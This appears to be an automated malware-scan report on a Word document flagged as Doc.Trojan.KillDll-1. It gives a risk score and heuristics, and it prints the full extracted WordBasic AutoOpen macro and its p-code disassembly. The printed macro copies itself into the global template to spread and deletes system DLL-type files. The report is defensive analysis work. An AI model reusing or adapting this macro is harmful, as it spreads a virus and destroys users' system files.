MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a legacy WordBasic AutoOpen macro that attempts to copy itself to the global template and delete files from the system directory. This behavior is indicative of a macro-based malware dropper. The ClamAV detection 'Doc.Trojan.KillDll-1' further supports this assessment, suggesting a payload designed to interfere with system files.
Heuristics 4
-
ClamAV: Doc.Trojan.KillDll-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.KillDll-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2472 bytes |
SHA-256: 1c9e4d75b93e3ff13763483960fd04d3083f7201e20bc2bf2a4fbe8b6b4692f2 |
|||
|
Detection
ClamAV:
Doc.Trojan.KillDll-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim source$
Dim target$
Dim fname$
Dim del$
source$ = WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)) + ":AutoOpen"
target$ = WordBasic.[FileName$]() + ":AutoOpen"
fname$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=fname$, Format:=1
If (InStr(UCase(source$), "NORMAL.DOT") = 0) Then
WordBasic.MacroCopy source$, "Global:AutoOpen"
Else
WordBasic.MacroCopy "Global:AutoOpen", target$
End If
del$ = WordBasic.[Files$]("C:\WINDOWS\SYSTEM\*.D??")
WordBasic.Kill del$
End Sub
' Processing file: /opt/analyzer/scan_staging/afa8976af6064d59bd9ddb2d719cdcd9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1738 bytes
' Line #0:
' Line #1:
' FuncDefn (Public Sub MAIN())
' Line #2:
' Dim
' VarDefn source
' Line #3:
' Dim
' VarDefn target
' Line #4:
' Dim
' VarDefn fname
' Line #5:
' Dim
' VarDefn del
' Line #6:
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd [MacroName$] 0x0001
' Ld WordBasic
' ArgsMemLd [MacroFileName$] 0x0001
' LitStr 0x0009 ":aUToOpEn"
' Add
' St source$
' Line #7:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' LitStr 0x0009 ":aUToOpEn"
' Add
' St target$
' Line #8:
' Ld WordBasic
' ArgsMemLd [FileName$] 0x0000
' St fname$
' Line #9:
' Ld fname$
' ParamNamed New
' LitDI2 0x0001
' ParamNamed Format$
' Ld WordBasic
' ArgsMemCall FileSaveAs 0x0002
' Line #10:
' Ld source$
' ArgsLd UCase 0x0001
' LitStr 0x000A "NORMAL.DOT"
' FnInStr
' LitDI2 0x0000
' Eq
' Paren
' IfBlock
' Line #11:
' Ld source$
' LitStr 0x000F "Global:aUToOpEn"
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #12:
' ElseBlock
' Line #13:
' LitStr 0x000F "Global:aUToOpEn"
' Ld target$
' Ld WordBasic
' ArgsMemCall MacroCopy 0x0002
' Line #14:
' EndIfBlock
' Line #15:
' LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.D??"
' Ld WordBasic
' ArgsMemLd [Files$] 0x0001
' St del$
' Line #16:
' Ld del$
' Ld WordBasic
' ArgsMemCall Kill 0x0001
' Line #17:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.